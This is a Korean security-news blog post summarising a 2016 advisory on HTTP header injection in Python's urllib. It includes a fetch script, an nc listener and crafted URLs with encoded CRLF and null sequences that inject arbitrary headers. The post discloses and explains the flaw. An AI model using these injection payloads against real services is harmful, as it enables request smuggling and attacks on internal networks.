상세 컨텐츠

본문 제목

Python urllib HTTP 헤더 인젝션 취약점

국내외 보안동향

by 알약(Alyac) 2016. 6. 21. 10:46

본문

Python urllib HTTP 헤더 인젝션 취약점


Python의 urllib라이브러리(Python2에서는 urllib2,Python3에서는 urllib)에는 HTTP 스키마에 프로토콜 스트림 인젝션 취약점이 존재합니다. 만약 공격자가 Python 코드를 조작하여 임의의 URL 혹은 Python 코드를 통해 악의적인 webserver에 방문하도록 한다면, 내부망은 심각한 보안위협을 받을 수 있습니다. 


HTTP 프로토콜은 호스트를 처리할 때 인코딩된 퍼센티지 값으로 받아들인 뒤 디코딩 후 HTTP 데이터 스트림에 포함시킵니다. 하지만 추가적인 검증이나 인코딩을 하지 않기 때문에, 새로운 라인을 추가할 수 있습니다. 


#!/usr/bin/env python3  

 

import sys

import urllib

import urllib.error

import urllib.request   

 

url = sys.argv[1]   

 

try:

    info = urllib.request.urlopen(url).info()

    print(info)

except urllib.error.URLError as e:

    print(e)



이 코드는 명령행의 매개변수에서 하나의 URL을 받아온 후 해당 페이지에 방문합니다. urllib가 받아온 HTTP 헤더를 확인하기 위해서 nc명령을 통하여 해당 포트를 스니핑 하였습니다. 


nc -l -p 12345


정상 코드는 다음과 같습니다.


./fetch3.py http://127.0.0.1:12345/foo


request되는 HTTP 패킷 헤더는 다음과 같습니다. 


GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Connection: close

Host: 127.0.0.1:12345


다음은 악의적으로 조작된 코드입니다. 


./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo


request되는 HTTP 패킷 헤더는 다음과 같습니다. 


GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

X-injected: header

x-leftover: :12345

Connection: close


공격자는 새로운 HTTP 헤더에 임의로 인젝션이 가능합니다. 


이 공격은 DNS 호스트 이름을 사용할 때에도 가능합니다.하지만 중간에 공백을 넣어야만 DNS 쿼리가 진행됩니다. 예를들어, 아래 URL은 호스트 이름찾기에 실패한 경우입니다. 


http://localhost%0d%0ax-bar:%20:12345/foo


하지만 다음 URL의 경우 정상적으로 127.0.0.1에 방문할 수 있습니다. 


http://localhost%00%0d%0ax-bar:%20:12345/foo


주의할 것은 HTTP 리다이렉션시에도 이 취약점을 이용할 수 있습니다. 만약 공격자가 악의적으로 변조된 web server의 URL을 전달하면, 서버는 리다이렉션되는 다른 URL에도 역시 프로토콜 스트림을 인젝션 시킬 수 있습니다.



출처 : 

http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html



관련글 더보기

댓글 영역